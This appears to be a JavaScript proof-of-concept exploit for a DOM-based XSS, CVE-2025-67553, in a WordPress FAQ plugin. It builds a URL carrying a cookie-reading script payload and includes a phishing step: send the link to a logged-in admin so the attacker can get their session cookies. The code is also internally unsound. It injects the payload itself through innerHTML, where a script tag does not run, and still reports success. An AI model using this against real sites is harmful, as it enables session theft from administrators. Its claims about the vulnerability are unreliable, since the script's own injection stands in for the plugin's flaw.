CVE-2025-67553

// CVE-2025-67553 DOM-based XSS PoC for WordPress Advanced FAQ Manager // Target: ThemeHigh Advanced FAQ Manager <= 1.5.2 // Type: DOM-based Cross-Site Scripting const vulnerableEndpoint = window.location.href; // Malicious payload - DOM XSS via unsanitized input const xssPayload = '<script>alert(document.cookie)</script>'; // Construct malicious URL const maliciousURL = `${vulnerableEndpoint}?faq_search=${encodeURIComponent(xssPayload)}&tab=faq`; console.log('[+] CVE-2025-67553 DOM-XSS PoC'); console.log('[+] Target:', vulnerableEndpoint); console.log('[+] Malicious URL:', maliciousURL); // Automated exploitation function function exploitDOMXSS() { // Check if vulnerable parameter exists const params = new URLSearchParams(window.location.search); const faqSearch = params.get('faq_search'); if (faqSearch) { console.log('[+] FAQ search parameter detected'); console.log('[+] Payload:', faqSearch); // The vulnerable code likely uses innerHTML or document.write // without proper sanitization const faqContainer = document.querySelector('.th-faq-search-results'); if (faqContainer) { // This demonstrates the vulnerability faqContainer.innerHTML = faqSearch; console.log('[+] Payload injected successfully'); console.log('[+] XSS executed - check for alert popup'); } } } // Social engineering component const phishingMessage = ` [+] Send this link to an authenticated WordPress admin: ${maliciousURL} Once clicked, the admin's session cookies will be accessible to the attacker. `; console.log(phishingMessage); // Export for external use window.CVE202567553 = { payload: xssPayload, url: maliciousURL, exploit: exploitDOMXSS };

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